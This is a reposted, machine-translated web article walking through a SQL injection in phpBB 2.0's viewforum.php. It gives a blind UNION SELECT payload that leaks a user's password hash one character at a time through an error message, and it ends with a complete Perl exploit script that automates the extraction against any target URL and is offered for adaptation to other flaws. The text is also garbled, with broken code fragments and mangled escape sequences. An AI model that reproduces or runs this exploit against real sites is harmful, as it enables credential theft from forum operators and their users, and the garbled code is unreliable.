Home  >  Article  >  Backend Development  >  php injection example

php injection example

高洛峰
高洛峰Original
2016-12-01 15:19:211536browse

php injection example It is difficult to see a complete article and application code about php injection on the Internet, so I have been chewing mysql and php for a few weeks. Let me talk about my experience below, hoping to inspire others!
believe it Everyone is already very familiar with the injection of asp, but the injection of php is more difficult than that of asp, because the magic_gpc option of php is really a headache. Do not use quotation marks in the injection, and php is mostly combined with mysql, and the functions of mysql From the perspective of another person, it does prevent sql njection attacks to a certain extent. Let me give an example here. I take phpbb2.0 as an example:
There is a variable in viewforum.php that is not filtered:
if ( isset($HTTP_GET_VARS{
$forum_id = ( isset($HTTP_GET_VARS
($HTTP_POST_VARS}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum'];
}
else
{
$forum_id = ' ;
}
This is the forum, and the following is directly put into the query:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $ forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', ', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

If it is asp, I believe many people will inject it. If the forum specified by forum_id does not exist, $result will be empty. So the information Could not obtain forums information is returned, so the following code cannot be executed
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

//
// Start session management
//
$userdata = session_pagestart($user_ip, $forum_id) /****************************************** **

The key is the line with the asterisk. Here is a function session_pagestart($user_ip, $thispage_id). This is a function defined in session.php. Since the code is too

long, I will not post it in full If you are interested, you can take a look at it yourself. The key is that this function also calls session_begin(). The function call is as follows session_begin($user_id, $user_ip,

$thispage_id, TRUE)), which is also defined in this file, There is the following code
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$ session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_id, session_user_id, session_start, session_time, session_ip, session_page,

session_logged_in)
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, ' Error creating new session: session_begin', ', __LINE__, __FILE__,

$sql);
}


There is a session_page here which is defined as an integer in mysql. Its ??$page_id, which is $forum_id , if the insertion is not a plastic shape, an error will be reported, and the prompt Error

creating new session: session_begin will appear, so it is very important to refer to the value of $forum_id, so I specified it as: -1%20union%20select% 201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where% 20user_id=2%20and%20ord(substring(user_password,1,1))=57, no quotation marks! Although a forum_id that does not exist is specified, the query result returned is not necessarily empty. This is to guess that the user_id is Is the ASCII code value of the first password of user 2 57? If so, the $result in the first code in the article is not empty, so the problematic function session_pagestart is executed, and the inserted number is not an integer. Of course something will go wrong, so Error creating new session : session_begin will be displayed, which means you guessed the first one correctly, and the other positions are similar.

If there is no such error message, I think even if the injection is successful, it will be difficult to judge whether it has been successful. It seems that the error message is also very helpful. The analysis ends here. A piece of test code is attached below. This code only needs to be slightly modified. It can be applied to other similar situations of guessing md5 passwords. Here I use the English version of the return conditions. For Chinese and other languages, just change the return conditions.

use HTTP::Request::Common;
use HTTP: :Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;

print " *************************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn";
print " www.icehack.comn";
print " ***************** *****n";
print "please enter the weak file's url:n";
print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=;
chomp($adr);
print "please enter the user_id that you want to crackn";
$u=;
chomp($u);
print "work starting,please wait!n";
@ pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$ i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

20user_id=$u%20and%20ord(substring(user_password,$j,1))=$ pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request($request);

if ($ response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink[$i]);
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luckn";}
else{
print "bad luck,work failed!n";}

As for the recent search.php problem of phpbb2.0.6, the exploit program only needs to slightly modify the above code

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Previous article:PHP predefined variablesNext article:PHP predefined variables